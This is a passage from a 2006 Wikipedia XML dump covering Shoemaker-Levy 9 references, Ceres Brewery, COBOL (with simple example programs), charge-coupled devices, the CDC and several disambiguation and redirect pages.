# Chodas P. W. (2002), [http://www.lns.cornell.edu/~seb/celestia/elements_1993e_.txt ''Communication of Orbital Elements to Selden E. Ball, Jr.''] Accessed [[February 21]], [[2006]]
# Landis R. R. (1994) [http://www.seds.org/sl9/landis.html ''Comet P/Shoemaker-Levy's Collision with Jupiter: Covering HST's Planned Observations from Your Planetarium''], in Proceedings of the International Planetarium Society Conference held at the Astronaut Memorial Planetarium &amp; Observatory, Cocoa, Florida, 10-16 July 1994
&lt;!---
The various author full names are:
* Lance A. M. Benner
* William B. McKinnon
* Terry Z. Martin
* Paul R. Weissman
* Richard W. Carlson
* John Hui
* Marcia E. Segura
* William D. Smythe
* Kevin H. Baines
* Melissa A. McGrath
* Keith S. Noll
* Harold A. Weaver
* Roger V. Yelle
* Laurence M. Trafton
* John F. Caldwell
* Andrew P. Ingersoll
* Hiroo Kanamori
* Carlos A. Olano
* Rainer Bauske
* Michael R. Combi
* John T. Clarke
* Michael E. Brown
* Elisabeth J. Moyer
* Antonin H. Bouchez
* Hyron Spinrad
* Zhong-Wei Hu
* Yi Chu
* Kai-Jun Zhang
* Thomas A. Hockey
* Yan Bétrémieux
* Bruno Bézard
* Raphaël Moreno
* André Marten
* Yvon Biraud
* Emmanuel Lellouch
* Gabriel Paubert
* Walter Wild
* Takashi Nakamura
* George W. Wetherhill
* Paul W. Chodas
* Donald K. Yeomans
* Paul D. Feldman
* Rob R. Landis
---&gt;

==External links==
{{Spoken Wikipedia|Comet_Shoemaker-Levy_9.ogg|2005-11-19}}
* [http://www.physics.sfasu.edu/astro/sl9.html Comet Shoemaker-Levy 9 FAQ]
* [http://www.seds.org/sl9/sl9.html Comet Shoemaker-Levy 9 Photo Gallery]
* [http://apod.gsfc.nasa.gov/apod/ap001105.html Jupiter Swallows Comet Shoemaker Levy 9]
* [http://www2.jpl.nasa.gov/sl9/sl9.html Comet Shoemaker-Levy Collision with Jupiter]
* [http://nssdc.gsfc.nasa.gov/planetary/comet.html National Space Science Data Center information]

==See also==
* [[Impact event]]
* [[Mushroom cloud]]

{{featured article}}
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[[Category:Impact events]]

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[[zh:苏梅克-列维9号彗星]]</text>
    </revision>
  </page>
  <page>
    <title>Ceres Brewery</title>
    <id>6796</id>
    <revision>
      <id>34041845</id>
      <timestamp>2006-01-06T00:12:05Z</timestamp>
      <contributor>
        <username>Angelbo</username>
        <id>511847</id>
      </contributor>
      <comment>added brewbox</comment>
      <text xml:space="preserve">{{brewbox_begin|name=Ceres Bryggeriet A/S}}
&lt;!-- {{brewbox_image|image=[[Image:albanilogo.gif|100 px|]]|caption=Ceres corporate logo}} --&gt;
{{brewbox_location|location=[[Århus]], [[Denmark]]}}
{{brewbox_owner|owner=[[Royal Unibrew]]}}
{{brewbox_opened|year=[[1856]]}}
{{brewbox_beers}}
{{brewbox_beer|name=Ceres TOP Pilsner|style=[[Pilsner]]}}
{{brewbox_beer|name=Ceres TOP Classic|style=[[Pilsner]]}}
{{brewbox_beer|name=Bering Bryg|style=[[Porter]]}}
{{brewbox_beer|name=Cerest MALT øl|style=[[Pilsner]]}}
{{brewbox_beers|type=Seasonal}}
{{brewbox_beer|name=Julehvidtøl|style=Christmas Beer}}
{{brewbox_end}}


The '''Ceres Brewery''' is a [[brewery]] located in [[Aarhus]], [[Denmark]]. Today, it is part of [[Royal Unibrew]].

It was founded by a [[grocer]] named [[M. C. Lottrup]], with help from the [[chemist]]s A. S. Aagard and Knud Redelien, as the city's seventh brewery. It was named after the [[Rome|Roman]] [[goddess]] [[Ceres (mythology)|Ceres]], and its opening was announced in the local [[newspaper]], ''Stifstidende'', in [[1856]].

The brewery was successful, and Lottrup became one of the most prominent people of Aarhus. After ten years, he extended the brewery, adding a grand building as his own private residence, where he entertained other local figures.

Lottrup's son-in-law, L. Christian Meulengracht, took over the running of the brewery after that, and was in charge for nearly thirty years, expanding it further. He then sold it to another brewery, [[Østjyske Bryggerier A/S]].

The brewery gained more esteem in [[1914]] when it was made &quot;Purveyor to the Royal Danish Court&quot;.

== External links ==

* The official web-site of the Ceres Brewery
** [http://www.ceres.dk/ Danish version]
** [http://www.ceresbrew.com/ English version] - includes a history of the brewery

[[Category:Danish breweries]]

[[Category:Companies of Denmark]]
[[Category:Brands of Denmark]]

[[da:Ceres (bryggeri)]]
[[de:Bryggerigruppen]]
[[no:Ceres Bryggerierne]]</text>
    </revision>
  </page>
  <page>
    <title>Cable TV</title>
    <id>6797</id>
    <revision>
      <id>15904915</id>
      <timestamp>2002-10-30T15:43:27Z</timestamp>
      <contributor>
        <username>Tarquin</username>
        <id>83</id>
      </contributor>
      <comment>manual #REDIRECT [[Cable television]] (can't move, that page has history)</comment>
      <text xml:space="preserve">#REDIRECT [[Cable television]]</text>
    </revision>
  </page>
  <page>
    <title>CATV</title>
    <id>6798</id>
    <revision>
      <id>15904916</id>
      <timestamp>2002-10-30T15:44:27Z</timestamp>
      <contributor>
        <username>Tarquin</username>
        <id>83</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Cable television]]</text>
    </revision>
  </page>
  <page>
    <title>COBOL</title>
    <id>6799</id>
    <revision>
      <id>41005252</id>
      <timestamp>2006-02-24T12:32:02Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: zh</comment>
      <text xml:space="preserve">'''COBOL''' is a [[Third generation language|third-generation programming language]]. Its name is an [[acronym]], for '''''CO'''mmon '''B'''usiness '''O'''riented '''L'''anguage'', defining its primary domain in business, finance, and administrative systems for companies and governments.

The COBOL 2002 standard includes support for [[object-oriented programming]] and other modern language features. However, most of this article is based on COBOL 85.

== Prehistory and specification ==

COBOL was initially created in [[1959]] by The [[Short Range Committee]], one of three committees proposed at a meeting held at [[the Pentagon]] in May 1959, organized by [[Charles Phillips]] of the [[United States Department of Defense]].  The Short Range Committee was formed to recommend a short range approach to a common business language.  It was made up of members representing six computer manufacturers and three government agencies.  In particular, the six computer manufacturers were [[Burroughs Corporation]], [[International Business Machines|IBM]], Minneapolis-[[Honeywell]] (Honeywell Labs), [[RCA]], [[Sperry Rand]], and [[Sylvania Electric Products]].  The three government agencies were the [[US Air Force]], the [[David Taylor Model Basin]], and the [[National Bureau of Standards]] (Now [[NIST]]).  This committee was chaired by a member of the NBS.  An Intermediate-Range Committee and a Long-Range Committee were proposed at the Pentagon meeting as well.  However although the Intermediate Range Committee was formed, it was never operational; and the Long-Range Committee was never even formed.  In the end a sub-committee of the Short Range Committee developed the specifications of the COBOL language.  This sub-committee was made up of six individuals:

* [[William Selden]] and [[Gertrude Tierney]] of [[IBM]]
* [[Howard Bromberg]] and [[Howard Discount]] of [[RCA]]
* [[Vernon Reeves]] and [[Jean E. Sammet]] of [[Sylvania|Sylvania Electric Products]]

This subcommittee completed the specifications for COBOL as the year of 1959 came to an end. The specifications were to a great extent inspired by the [[FLOW-MATIC]] language invented by [[Grace Hopper]], and the IBM [[COMTRAN]] language invented by [[Bob Bemer]].

The specifications were approved by the full Short Range Committee.  From there, they were approved by the Executive Committee in January [[1960]], and sent to the government printing office, which edited and printed these specifications as ''[[Cobol 60]]''.  COBOL was developed within a six month period, and yet is still in use over 40 years later.

== Defining features ==

COBOL as defined in the original specification, possessed excellent self-documenting capabilities, good file handling methods, and exceptionally good data typing for the time, owing to its use of the PICTURE clause for detailed field specification.  However, until the 1985 Standard, it had serious flaws by modern standards for programming language definition, notably lack of support for local variables, recursion, dynamic memory allocation, and [[structured programming]].  Its perceived lack of explicit support for [[object-oriented]] programming is understandable, given that the concept was unknown at the time.  However sufficient standard COBOL constructs, even in the 1974 Standard, allowed a company to produce an object like framework totally in COBOL that predated [[C++]], (Netron Frames, 1986).

COBOL also has many [[reserved word]]s, called [[keyword]]s.  The original COBOL specification even supported [[self-modifying code]] via the famous &quot;ALTER X TO PROCEED TO Y&quot; statement.  However, the COBOL specification has been redefined over the years to address some of these criticisms, and later definitions of COBOL have remedied many of these lacks, adding improved control structures, object-orientation and removing the ability to use self-modifying code.

== Still going strong ==

COBOL programs are in use globally in governmental and military agencies, in all major commercial enterprises (even though COBOL was originally proposed simply to achieve governmental programming commonality), and on almost all significant operating systems (desktop and above) including the common ones such as IBM's [[Z/OS|z/OS]], Microsoft's [[Microsoft Windows|Windows]], and the [[Unix]]/[[Linux]] families.  The global code base is vast and from time to time applications are subject to review for enhancement or replacement. The expense of rewriting a COBOL application, that has already been debugged, in a different new language has not always been found worth any benefits that might ensue. In the late 1990s, the ''Gartner Group'', a data-processing industry research organization, estimated that of the 300 billion lines of computer code that existed, eighty percent &amp;mdash; or 240 billion lines &amp;mdash; were COBOL. They also reported that more than half of all new mission-critical applications were still being created using COBOL&amp;nbsp;&amp;mdash; an estimated 5,000,000,000 net new lines of COBOL code annually.

Near the end of the twentieth century there was a flurry of activity for COBOL programmers fixing the [[year 2000 problem]], sometimes in systems the same programmers had designed decades before.  This problem was especially prevalent in COBOL code because dates are relevant in business applications, and most existing business applications were written in COBOL.  

COBOL supports various forms of number representations, including BCD [[binary-coded decimal]] which was mandated at times by accountants for business applications. Some people think that the use of BCD arithmetic in their application's design happened to make programs designed without provision for the advent of the [[2000s]] particularly vulnerable to failure with the [[year 2000 problem]] because it might encourage storing the year as two decimal digits {{fact}}.  Others argue that COBOL's decimal [[fixed-point arithmetic]] support avoided many other problems that can occur with the naïve use of [[floating point]] for financial calculations.  BCD makes it easy to read hex dumps {{fact}}.

COBOL has proven to be durable and adaptable. The current standard for COBOL is COBOL2002.  COBOL2002 supports contemporary conveniences such as [[Unicode]], [[XML]] generation and parsing, calling conventions to/from non-COBOL languages such as [[C_programming_language|C]], and support within framework environments such as Microsoft's [[.NET Framework|.NET]] and [[Java programming language|Java]] (including COBOL instantiated as [[EJB]]s).

==[[Hello world]]==

        IDENTIFICATION DIVISION.
          Program-Id. Hello-World.
       *
        ENVIRONMENT DIVISION.
       *
        DATA DIVISION.
       *
        PROCEDURE DIVISION.
        Para1.
            DISPLAY &quot;Hello, world.&quot;.
       *
            Stop Run.

&lt;!-- I haven't tested this reformatted version, as my COBOL compiler doesn't seem to handle the &quot;EXIT PROGRAM&quot;/&quot;END PROGRAM...&quot; syntax, but I'm pretty damn sure that if it worked before, it'll still work now.  Please be careful of indentation! --&gt;
If you copy and paste this example then be careful to preserve the indentation, as indentation is relevant to (at least) older COBOL compilers.  If you're trying to compile this example on an older compiler and it fails to compile or produces no output when run, you may want to try a [http://www.cuillin.demon.co.uk/nazz/trivia/hw/hw_cobol.html more simple example].

== Opposing views on COBOL ==
All computer languages have their advocates and detractors.  It has been said of languages like [[C]], [[C++]], and [[Java programming language|Java]] that the only way to modify legacy code is to rewrite it - write once and write once again; or write once and throw away.
On the other hand, it has been said of COBOL that there actually is one original COBOL program, and it only has been copied and modified millions of times.

=== Criticism ===

A motivation of COBOL's design was to make programming easier by making the language as English-like as possible. While this idea seems reasonable on its face, in practice the most difficult task in programming is reducing a complex computation to a sequence of simple steps, not specifying those steps with a particular language.  Nevertheless, critics had argued that COBOL's verbose syntax serves mainly to increase the size of programs, and that it impaired the development of the thinking process needed for software development. However, these same people do not generate business applications, they develop computer languages.  Renowned computer scientist [[Edsger Dijkstra]] remarked in his repudiated [[1975]] letter to an editor &quot;How do we tell truths that might hurt?&quot;, &quot;The use of COBOL cripples the mind; its teaching should, therefore, be regarded as a criminal offence.&quot;  But Dijkstra was also positively impressed by [[Michael A. Jackson]]'s ideas about &quot;Structured Programming&quot; in COBOL ([[Jackson Structured Programming]]). 

The [[SQL]] language, which follows COBOL's philosophy but is not used to write procedural code, has not faced as much criticism about its syntax.

Some programmers joke that the object-oriented extension of COBOL should be called ADD 1 TO COBOL GIVING COBOL. This is by analogy with C++, a pun on [[C programming language|C]]'s syntax for incrementing a variable in place, and it highlights the verbosity of COBOL's syntax compared to C. The joke is that in C, the expression &quot;C++&quot; increments &quot;C&quot; (hence the name of the incrementally-extended language C++), whereas the equivalent in COBOL would be an unusably long name for a language.

=== Defense ===

On the other hand, COBOL is not one of the approximately 4000 academic languages. It is a business language used globally.  Advocates claim that typically those who criticize the language have never been COBOL programmers and often misrepresent it. As software technology advances, COBOL incorporates the strong and proven developments.  All computer fads have produced some good ideas along with a lot of failed ideas.  This includes the [[Computer-aided software engineering|CASE]] era of the 1980s which was supposed to eliminate the programmer, the [[Object-oriented programming|OO]] era of the 1990s which was supposed to minimize code redundancy and prevent runtime aborts, and the [[Model-driven architecture|MDA]] era beginning around 2000, which is supposed to eliminate the programmer and computer languages altogether. The charter of COBOL to provide functionality while maintaining reliability and stability in applications will always be challenged by language advocates with another way to do something - &quot;one more function&quot;.

As far as COBOL's syntax, in almost all modern COBOL implementations, the compilers are not case sensitive, although the compiler will capitalize all keywords prior to parsing.

If one wants to make COBOL more verbose than it has to be, one usually can.  For example the COBOL code for the quadratic equation


&lt;math&gt;
x=\frac{-b \pm \sqrt {b^2-4ac\  }}{2a}.
&lt;/math&gt;


can be written, using the &quot;compute&quot; verb, which can handle quite complex and deeply-nested statements in algebraic form, like this:

       COMPUTE X = (-B + (B ** 2 - (4 * A * C)) **.5) / (2 * A)


or this:

       MULTIPLY B BY B GIVING B-SQUARED.  
       MULTIPLY 4 BY A GIVING FOUR-A.  
       MULTIPLY FOUR-A BY C GIVING FOUR-A-C.  
       SUBTRACT FOUR-A-C FROM B-SQUARED GIVING RESULT-1.  
       COMPUTE RESULT-2 = RESULT-1 ** .5.
       SUBTRACT B FROM RESULT-2 GIVING NUMERATOR.
       MULTIPLY 2 BY A GIVING DENOMINATOR.
       DIVIDE NUMERATOR BY DENOMINATOR GIVING X.

== See also ==
Other third-generation programming languages:
* [[Algol programming language|ALGOL]]
* [[APL programming language|APL]]
* [[BASIC programming language|BASIC]]
* [[Fortran|FORTRAN]]
* [[Lisp programming language|Lisp]]
* [[PL/I]]
* [[RPG programming language|RPG]]
* [[C programming language|C]]
* [[C++]]
* [[Java programming language|Java]]
* [[C Sharp programming language|C#]]

== References ==
* [[Jean E. Sammet|Sammet, J.E.]] (1981). &quot;The Early History of COBOL.&quot; In ''History of Programming Languages,'' by Wexelblat, R.L., ed. New York: [[Association for Computing Machinery|ACM]] Monograph Series.

== External links ==
* [http://home.comcast.net/~wmklein/FAQ/COBOLFAQ.htm COBOL FAQ]
* [http://www.cobol.com/ COBOL.com - The COBOL Community]
* [http://www.cobolstandards.com/ COBOL-Standard Committee]
* [http://www.cs.vu.nl/COBOL COBOL grammar and COBOL research]
* [http://www.cobolportal.com/ COBOLPortal]
* [http://www.cobolreport.com CobolReport.com]
* [http://www.infogoal.com/cbd/cbdhome.htm The COBOL Center]
* [http://www.csis.ul.ie/cobol/default.htm COBOL Tutorial]
* [http://cobol.404i.com/ COBOL Beginners Tutorial]
* [http://www.geocities.com/Eureka/2006/ring.htm &quot;All Things COBOL&quot; webring]
* [http://www.cobug.com/ COBOL User Groups : COBUG]
* [http://www-306.ibm.com/software/awdtools/cobol/ IBM COBOL including Mainframe (zOS)]
* [http://groups.yahoo.com/group/mvstips COBOL &amp; Mainframe related Discussion Group]
* [http://endway.50webs.com    COBOL &amp; Mainframe related Resources]
{{Major programming languages small}}

[[Category:COBOL| ]]

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[[zh:COBOL]]</text>
    </revision>
  </page>
  <page>
    <title>Crew</title>
    <id>6801</id>
    <revision>
      <id>36859862</id>
      <timestamp>2006-01-26T23:07:03Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Bringing &quot;External links&quot;, &quot;See also&quot; and &quot;Reference&quot; sections in line with the [[Wikipedia:Manual of Style|Manual of Style]].</comment>
      <text xml:space="preserve">A '''crew''' comprises a body or a class of people who work at a common activity, generally in a structured or [[hierarchy | hierarchical]] organization. The word has particular nautical resonances: the tasks involved in operating a [[ship]], particularly a [[sailing ship]], providing numerous specialities within a ship's crew, often organised with a [[chain of command]]. Traditional nautical usage strongly distinguishes [[Commissioned officer|officer]]s from crew, though the two groups combined form the ship's company.  Members of a crew are often referred to by the title &quot;[[Crewman]]&quot; and as well as &quot;[[Crewmember]]&quot;.

Occasionally, a crew may refer to a [[gang]], especially if involved in some illicit activity.

For a specific [[sport]]ing usage, see [[sport rowing]].

The word &quot;crew&quot; may also refer to a '''stage crew''', which are the stage hands at such events as plays or any type of show related to a [[theater]] or theatrical production.

==See also==
*[[J.Crew]]


{{disambig}}

[[de:Schiffsbesatzung]]
[[no:Mannskap]]
[[pl:Za&amp;#322;oga]]</text>
    </revision>
  </page>
  <page>
    <title>CCD</title>
    <id>6803</id>
    <revision>
      <id>37250898</id>
      <timestamp>2006-01-29T20:12:51Z</timestamp>
      <contributor>
        <username>Anthony Appleyard</username>
        <id>119438</id>
      </contributor>
      <text xml:space="preserve">'''CCD''' can stand for:
*[[Charge-coupled device]]
*[[California College Democrats]]
*[[Confraternity of Christian Doctrine]]
*[[Carbonate Compensation Depth]]
*[[Census County Division]], a term used by the [[United States Census Bureau]]
*[[Council for a Community of Democracies]]
*[[Cleidocranial dysostosis]]
*[[MiniCD]]
*[[Camouflage]], [[concealment]] and [[deception]]
{{TLAdisambig}}
[[de:CCD]]</text>
    </revision>
  </page>
  <page>
    <title>Charge-coupled device</title>
    <id>6804</id>
    <revision>
      <id>41913944</id>
      <timestamp>2006-03-02T16:06:50Z</timestamp>
      <contributor>
        <ip>65.170.107.68</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">[[Image:CCD.jpg|thumb|right|300px|A specially developed CCD used for [[ultraviolet]] imaging in a wire bonded package.]]
A '''charge-coupled device''' ('''CCD''') is a [[sensor]] for recording images, consisting of an [[integrated circuit]] containing an array of linked, or coupled, [[capacitor]]s. Under the control of an external circuit, each capacitor can transfer its electric [[charge]] to one or other of its neighbours. CCDs are used in [[digital photography]] and [[astronomy]] (particularly in [[Photometry (astronomy)|photometry]], optical and [[UV]] [[spectroscopy]] and high speed techniques such as [[lucky imaging]]). 

== History ==
The CCD was invented in [[1969]] by [[Willard Boyle]] and [[George E. Smith|George Smith]] at AT&amp;T [[Bell Labs]]. The lab was working on the Picture-phone and on the development of semiconductor [[bubble memory]]. Merging these two initiatives, Boyle and Smith conceived of the design of what they termed 'Charge &quot;Bubble&quot; Devices'. The essence of the design was the ability to transfer charge along the surface of a [[semiconductor]]. As the CCD started its life as a memory device, one could only &quot;inject&quot; charge into the device at an input register. However, it was immediately clear that the CCD could receive charge via the [[photoelectric effect]] and electronic images could be created. By [[1970]] Bell researchers were able to capture images with simple linear devices; thus the CCD was born. Several companies, including [[Fairchild Semiconductor]], [[RCA]] and [[Texas Instruments]], picked up on the invention and began development programs. Fairchild was the first with commercial devices and by [[1974]] had a linear 500 element device and a 2-D 100 x 100 pixel device.

In January 2006, Boyle and Smith recieved the [[Charles Stark Draper Prize]] which is presented by the [[National Academy of Engineering]] for their work on the CCD.

== Applications ==
CCDs containing grids of [[pixel]]s are used in [[digital camera]]s, [[image scanner|optical scanners]] and video cameras as light-sensing devices. They commonly respond to 70% of the [[wiktionary:incident|incident]] light (meaning a [[quantum efficiency]] of about 70%) making them more efficient than photographic film, which captures only about 2% of the incident light.  As a result CCDs were rapidly adopted by astronomers.

[[Image:CCD line sensor.JPG|thumb|right|One-dimensional CCD from a [[fax machine]].]]
An image is projected by a [[Lens (optics)|lens]] on the capacitor array, causing each capacitor to accumulate an electric charge proportional to the [[light]] intensity at that location. A one-dimensional array, used in line-scan cameras, captures a single slice of the image, while a two-dimensional array, used in video and still cameras, captures the whole image or a rectangular portion of it. Once the array has been exposed to the image, a control circuit causes each capacitor to transfer its contents to its neighbour. The last capacitor in the array dumps its charge into an [[amplifier]] that converts the charge into a [[voltage]]. By repeating this process, the control circuit converts the entire contents of the array to a varying voltage, which it samples, digitizes and stores in memory. Stored images can be transferred to a printer, storage device or video display. CCDs are also widely used as sensors for astronomical [[telescope]]s, and night vision devices.

An interesting astronomical application is to use a CCD to make a fixed telescope behave like a tracking telescope and follow the motion of the sky.  The charges in the CCD are transferred and read in a direction parallel to the motion of the sky, and at the same speed. In this way, the telescope can image a larger region of the sky than its normal field of view.

CCDs are typically sensitive to [[infrared]] light, which allows [[infrared photography]], [[night-vision]] devices, and zero [[lux]] (or near zero lux) video-recording/photography.  Because of their sensitivity to infrared, CCDs used in astronomy are usually cooled to liquid nitrogen temperatures, because infrared [[black body radiation]] is emitted from room-temperature sources.  One other consequence of their sensitivity to infrared is that infrared from [[remote control]]s will often appear on CCD-based digital cameras or camcorders, if they don't have infrared filters. Cooling also reduces the array's dark [[current (electricity)|current]], improving the sensitivity of the CCD to low light intensities, even for ultraviolet and visible wavelengths.

Thermal noise, dark current, and cosmic [[ray]]s may alter the pixels in the CCD array. To counter such effects, astronomers take an average of several exposures with the CCD shutter closed and opened. The average of images taken with the shutter closed is necessary to lower the random noise.  Once developed, the &quot;dark frame&quot; average image is then subtracted from the open-shutter image to remove the dark current and other systematic defects in the CCD (dead pixels, hot pixels, etc).

CCD cameras used in [[astrophotography]] often require very sturdy mounts to cope with vibrations and breezes, along with the tremendous weight that most imaging platforms inherently cause. To take long CCD exposures of galaxies and nebulae, many astronomers use a technique known as auto-guiding. Most autoguiders use off-axis CCD chips to monitor any deviation from the imaging, however, some have the autoguider CCD and the imaging CCD in the same camera.  Auto-guiders use a second CCD chip which can rapidly detect period errors in tracking and command the mount's motors to correct for them.

==Color cameras==
Digital color cameras generally use a [[Bayer filter|Bayer mask]] over the CCD. Each square of four pixels has one filtered red, one blue, and two green (the human [[eye]] is more sensitive to green than either red or blue). The result of this is that [[luminance]] information is collected at every pixel, but the color resolution is lower than the luminance resolution.

Better color separation can be reached by three-CCD devices ([[3CCD]]) and a [[dichroic prism|dichroic]] [[beam splitter]] [[prism (optics)|prism]], that splits the [[image]] into [[red]], [[green]] and [[blue]] components. Each of the three CCDs is arranged to respond to a particular color. Some semi-professional digital video camcorders (and all professionals) use this technique.

Since a very-high-resolution CCD chip is very expensive [[as of 2005]], a 3CCD high-resolution still camera would be beyond the price range even of many professional photographers. There are some high-end still cameras that use a rotating color filter to achieve both color-fidelity and high-resolution. These multi-shot cameras are rare and can only photograph objects that are not moving.

==Competing technologies==
Recently it has become practical to create an [[Active Pixel Sensor]] (APS) using the [[CMOS]] manufacturing process. Since this is the dominant technology for all chip-making, CMOS image sensors are cheap to make and signal conditioning circuitry can be incorporated into the same device. The latter advantage helps mitigate their greater susceptibility to noise&lt;!--where does it come from?--&gt;, which is still an issue, though a diminishing one. This is due to the use of low grade amplifiers in each pixel instead of one high-grade amplifier for the entire array in the CCD. CMOS sensors also have the advantage of lower power consumption than CCDs.

==See also==
* [[Camcorder]]
* [[CMOS]]
* [[Digital camera]]
* [[Digital photography]]
* [[Electron-multiplying CCD]]
* [[Frame transfer CCD]]
* [[Intensified charge-coupled device]]
* [[Photodiode]]
* [[Super CCD]]
* [[Foveon X3 sensor]]

==External links==
*[http://www.nezumi.demon.co.uk/photo/bayer/bayer.htm Bayer masks]
* ''CCD vendors''
** [http://www.dalsa.com/ Dalsa]
** [http://www.e2v.com/ e2v technologies]
** [http://www.fairchildimaging.com/ Fairchild Imaging]
** [http://sales.hamamatsu.com/assets/applications/SSD/Characteristics_and_use_of__FFT-CCD.pdf Hamamatsu Photonics Characteristics and use of FFT-CCD ]
** [http://www.kodak.com/ Kodak]
** [http://www.panasonic.co.jp/global/ Panasonic]
** [http://www.sony.com/ Sony]
** [http://www.ti.com/ Texas Instruments]
** [http://www.toshiba.com/ Toshiba]

* ''CCD Imaging''
** [http://www.QImaging.com/ QImaging]

[[Category:Integrated circuits]]
[[Category:Image processing]]
[[Category:Image sensors]]

[[ca:Detector CCD]]
[[de:Charge-coupled Device]]
[[es:CCD]]
[[fr:Capteur de photoscope]]
[[ko:CCD]]
[[id:CCD]]
[[it:Charge Coupled Device]]
[[hu:CCD]]
[[nl:Charge Coupled Device]]
[[ja:CCDイメージセンサ]]
[[lv:Lādiņa saites matrica]]
[[pl:Matryca CCD]]
[[pt:CCD]]
[[ru:ПЗС-матрица]]
[[sv:Charge Coupled Device]]
[[tr:CCD]]</text>
    </revision>
  </page>
  <page>
    <title>Communist</title>
    <id>6805</id>
    <revision>
      <id>15904921</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Communism]]
</text>
    </revision>
  </page>
  <page>
    <title>Computer memory</title>
    <id>6806</id>
    <revision>
      <id>21533802</id>
      <timestamp>2005-08-21T23:59:11Z</timestamp>
      <contributor>
        <username>K.Nevelsteen</username>
        <id>364603</id>
      </contributor>
      <comment>fix link</comment>
      <text xml:space="preserve">#REDIRECT [[memory (computers)]]</text>
    </revision>
  </page>
  <page>
    <title>Citrate cycle</title>
    <id>6808</id>
    <revision>
      <id>38561234</id>
      <timestamp>2006-02-07T03:03:19Z</timestamp>
      <contributor>
        <username>Unint</username>
        <id>531119</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">#REDIRECT [[Citric acid cycle]] {{R from alternate name}}</text>
    </revision>
  </page>
  <page>
    <title>CDC</title>
    <id>6809</id>
    <revision>
      <id>41348563</id>
      <timestamp>2006-02-26T19:37:00Z</timestamp>
      <contributor>
        <ip>85.92.245.130</ip>
      </contributor>
      <text xml:space="preserve">'''CDC''' is an [[acronym]] which can mean any of the following:

* [[California Department of Corrections and Rehabilitation|California Department of Corrections]]
* [[Canadian Dairy Commission]]
* [[Career Development Course]]
* [[Cell Division Cycle]]
* '''[[Centers for Disease Control and Prevention]]'''
* [[Century Date Change]] in reference to the Y2K bug.
* [[Child Development Center]]
* [[Citizens Development Corps]]
* [[Climate Diagnostics Center]] of the [[National Oceanic and Atmospheric Administration]] (NOAA) of the [[U.S. Department of Commerce]]
* [[Communicable Disease Centre]], Singapore
* [[Community Development Corporation]]
* [[Community Development Council]], Singapore
* [[Congress for Democratic Change]]
* [[Control Data Corporation]]
* [[Connected Device Configuration]] ([[Java programming language|Java]] Profile)
* [[Council for Disabled Children]]
* [[Cul De Canard]]
* [[Cult of the Dead Cow]]
* [[Democratic Convergence of Catalonia]]
* [[Changed Data Capture]]

{{TLAdisambig}}

[[de:CDC]]
[[es:CDC]]
[[fr:CDC]]</text>
    </revision>
  </page>
  <page>
    <title>Cipro</title>
    <id>6810</id>
    <revision>
      <id>15904926</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ciprofloxacin]]
</text>
    </revision>
  </page>
  <page>
    <title>Centers for Disease Control and Prevention</title>
    <id>6811</id>
    <revision>
      <id>41992271</id>
      <timestamp>2006-03-03T02:18:07Z</timestamp>
      <contributor>
        <username>Vikingstad</username>
        <id>34483</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''Centers for Disease Control and Prevention''' ('''CDC''') in [[Atlanta, Georgia|Atlanta]], [[Georgia (U.S. state)|Georgia]], is recognized as the lead [[United States]] [[government agency|agency]] for protecting the [[public health]] and [[safety]] of people by providing credible information to enhance health decisions, and promoting health through strong partnerships with state health departments and other organizations.  CDC focuses national attention on developing and applying [[disease prevention]] and control (especially [[infectious diseases]]), [[environmental health]], [[health promotion]] and [[health education|education]] activities designed to improve the health of the people of the United States. 

The CDC Centers include:

* National Center on Birth Defects and Developmental Disabilities
* National Center for Chronic Disease Prevention and Health Promotion
* National Center for Environmental Health 
* National Center for Health Marketing
* [[National Center for Health Statistics]]
* [[National Center for HIV, STD, and TB Prevention]]
* National Center for Infectious Diseases
* National Center for Injury Prevention and Control
* National Center for Public Health Informatics
* [http://www.cdc.gov/nip National Immunization Program]
* National Institute for Occupational Safety and Health

Headquartered in [[Atlanta, Georgia]], the CDC is an agency of the [[United States Department of Health and Human Services|Department of Health and Human Services]]. Previously known as the '''Communicable Disease Center''' until [[1946]] and as the '''Center for Disease Control''' until 
[[1970]], the agency was founded in 1946 to help control malaria. The CDC has remained at the forefront of public health efforts to prevent and control infectious and chronic diseases, injuries, workplace hazards, disabilities, and environmental health threats.

==Goals==
The CDC states that it has two primary health protection goals:
#''Health promotion and prevention of disease, injury, and disability: All people, especially those at higher risk due to health disparities, will achieve their optimal lifespan with the best possible quality of health in every stage of life.''
#''Preparedness: People in all communities will be protected from infectious, occupational, environmental, and terrorist threats.''

==Workforce==

The workforce at CDC/ATSDR totals more than 9,000 employees in 170 occupations with a public health focus, including physicians, statisticians, epidemiologists, laboratory experts, behavioral scientists, and health communicators.

Although its national headquarters is in Atlanta, more than 3,000 CDC employees work at other locations throughout the United States. Additional CDC staff are deployed to countries around the globe, assigned to almost all state health departments, and dispersed to numerous local health agencies on both long- and short-term assignments.

The CDC campus in Atlanta houses facilities for the research of extremely dangerous biological agents, in a setting well represented in the Dustin Hoffman film &quot;Outbreak&quot; although the actual location depicted in the film was supposed to be the Army's USAMRIID bio-research facility.

==Additional information==

CDC also publish the peer-reviewed journal ''Emerging Infectious Diseases''.

==External links==
*[http://www.cdc.gov Official site]
*[http://www.ecdc.eu.int/  European Center for Disease Control and Prevention] at Solna, Sweden

[[Category:Atlanta-based organizations]]
[[Category:United States Department of Health and Human Services]]

[[de:Centers for Disease Control and Prevention]]
[[es:Centros para el Control y la Prevención de Enfermedades de los Estados Unidos]]
[[fr:Centers for Disease Control and Prevention]]
[[ja:Centers for Disease Control and Prevention；CDC]]</text>
    </revision>
  </page>
  <page>
    <title>Chandrasekhar limit</title>
    <id>6813</id>
    <revision>
      <id>41654884</id>
      <timestamp>2006-02-28T20:56:42Z</timestamp>
